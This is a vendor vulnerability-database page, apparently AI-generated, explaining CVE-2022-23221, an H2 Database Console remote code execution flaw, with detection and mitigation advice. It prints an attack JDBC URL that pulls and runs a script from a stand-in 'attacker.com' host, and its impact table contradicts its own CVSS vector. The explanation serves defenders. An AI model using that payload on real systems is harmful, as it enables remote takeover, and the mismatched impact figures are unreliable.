The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2022-23221

CVE-2022-23221: H2 Database H2 Console RCE Vulnerability

CVE-2022-23221 is a remote code execution vulnerability in H2 Database H2 Console that allows attackers to execute arbitrary code via malicious JDBC URLs. This article covers technical details, affected versions, and mitigations.

Published: February 17, 2026

CVE-2022-23221 Overview

CVE-2022-23221 is a critical remote code execution vulnerability affecting the H2 Database Console prior to version 2.1.210. The vulnerability allows remote attackers to execute arbitrary code by crafting a malicious JDBC URL containing specific parameters that bypass security restrictions. This vulnerability is distinct from CVE-2021-42392 but exploits a similar attack surface within the H2 Console component.

The H2 database is a popular lightweight Java SQL database commonly embedded in Java applications and used for development and testing purposes. The console component provides a web-based interface for database administration, which when exposed to untrusted networks, becomes a significant attack surface.

Critical Impact

Remote attackers can achieve full system compromise through arbitrary code execution without authentication, potentially leading to complete takeover of affected systems.

Affected Products

  • H2database H2 (versions prior to 2.1.210)
  • Debian Linux 9.0, 10.0, and 11.0
  • Oracle Communications Cloud Native Core Console 1.9.0

Discovery Timeline

  • 2022-01-19 - CVE CVE-2022-23221 published to NVD
  • 2025-05-05 - Last updated in NVD database

Technical Details for CVE-2022-23221

Vulnerability Analysis

The vulnerability resides in how the H2 Console processes JDBC connection URLs. When a user connects to the H2 Console, they can specify a JDBC URL that defines database connection parameters. The flaw allows attackers to inject malicious parameters that enable script execution during database initialization.

The attack leverages the JDBC URL parameter handling to achieve code execution. By combining IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE, and INIT=RUNSCRIPT, an attacker can force the H2 database to execute arbitrary SQL statements or Java code during the connection process. The IGNORE_UNKNOWN_SETTINGS parameter suppresses errors for unrecognized settings, while FORBID_CREATION=FALSE allows database creation, and INIT=RUNSCRIPT executes scripts from external sources.

This vulnerability is classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command), as the underlying issue stems from insufficient validation of special characters and parameters within the JDBC URL string.

Root Cause

The root cause lies in inadequate input validation of JDBC URL parameters within the H2 Console. The application fails to properly sanitize or restrict dangerous parameter combinations that can lead to script execution. Specifically, the console does not prevent users from specifying initialization scripts through the INIT=RUNSCRIPT parameter when combined with settings that bypass security controls.

The vulnerability exists because the H2 Console trusts user-supplied JDBC URLs without sufficient validation of the embedded parameters. This allows attackers to craft URLs that execute arbitrary code through the database initialization process, effectively turning a database connection string into a code execution vector.

Attack Vector

The attack can be executed remotely over the network against any exposed H2 Console instance. The attacker constructs a malicious JDBC URL with the following structure:

jdbc:h2:mem:testdb;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql'

When this URL is processed by the H2 Console, it:

  1. Creates an in-memory database named testdb
  2. Ignores any unknown or potentially blocked settings
  3. Allows database creation regardless of existing security policies
  4. Fetches and executes a script from a remote attacker-controlled server

The malicious script can contain Java code embedded within SQL statements using H2's CREATE ALIAS functionality, which allows defining custom Java methods that execute with the privileges of the H2 process. For detailed technical analysis and proof-of-concept examples, see the Packet Storm security advisory and the Full Disclosure announcement.

Detection Methods for CVE-2022-23221

Indicators of Compromise

  • Unusual outbound HTTP requests from H2 database processes to external servers
  • JDBC connection URLs containing INIT=RUNSCRIPT combined with IGNORE_UNKNOWN_SETTINGS=TRUE parameters
  • New or unexpected processes spawned by Java/H2 processes
  • Database log entries showing script execution from remote URLs
  • Network traffic to unfamiliar external endpoints from systems running H2

Detection Strategies

  • Monitor H2 Console access logs for connection attempts containing suspicious JDBC URL parameters
  • Implement network-level detection for HTTP requests originating from H2 processes to external URLs
  • Deploy web application firewall rules to block JDBC URLs containing dangerous parameter combinations
  • Use application security monitoring to detect runtime code execution anomalies in Java processes

Monitoring Recommendations

  • Enable verbose logging on H2 Console instances to capture all connection attempts and parameters
  • Implement network segmentation to isolate H2 Console instances and monitor traffic flows
  • Deploy endpoint detection and response (EDR) solutions to monitor for suspicious process behavior
  • Regularly audit H2 database configurations and exposed network services

How to Mitigate CVE-2022-23221

Immediate Actions Required

  • Upgrade H2 database to version 2.1.210 or later immediately
  • Disable or restrict network access to the H2 Console if not required for production operations
  • Implement network access controls to limit H2 Console access to trusted IP addresses only
  • Review application configurations to ensure H2 Console is not inadvertently exposed to the internet

Patch Information

The H2 database team has addressed this vulnerability in version 2.1.210. Organizations should upgrade to this version or later to remediate the vulnerability. The fix implements proper validation and restrictions on JDBC URL parameters to prevent malicious script execution.

Patch resources:

  • H2 Database Release 2.1.210
  • H2 Database Security Advisories
  • Oracle Critical Patch Update April 2022
  • Debian Security Advisory DSA-5076

Workarounds

  • Disable the H2 Console entirely if it is not required by setting -Dh2.bindAddress=localhost to restrict access to localhost only
  • Implement firewall rules to block external access to H2 Console ports (default 8082)
  • Use a reverse proxy with authentication to protect H2 Console access
  • Deploy network segmentation to isolate systems running H2 databases from untrusted networks
bash
# Configuration example
# Restrict H2 Console to localhost only
java -Dh2.bindAddress=127.0.0.1 -jar h2*.jar

# Alternatively, disable the web console entirely
java -Dh2.consoleEnabled=false -jar h2*.jar

# Firewall rule to block external access to H2 Console (iptables example)
iptables -A INPUT -p tcp --dport 8082 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 8082 -j DROP

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechH2database

  • SeverityCRITICAL

  • CVSS Score9.8

  • EPSS Probability26.57%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-88
  • Technical References
  • Packet Storm Exploit

  • Full Disclosure Announcement

  • Debian LTS Announcement

  • NetApp Security Advisory

  • Twitter Security Update

  • Debian Security Advisory

  • Oracle CPU July 2022 Alert
  • Vendor Resources
  • GitHub Release Notes

  • GitHub Security Advisories

  • Oracle CPU April 2022 Alert
  • Related CVEs
  • CVE-2021-42392: H2 Database RCE Vulnerability Explained

  • CVE-2021-23463: H2 Database XXE Injection Vulnerability
Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English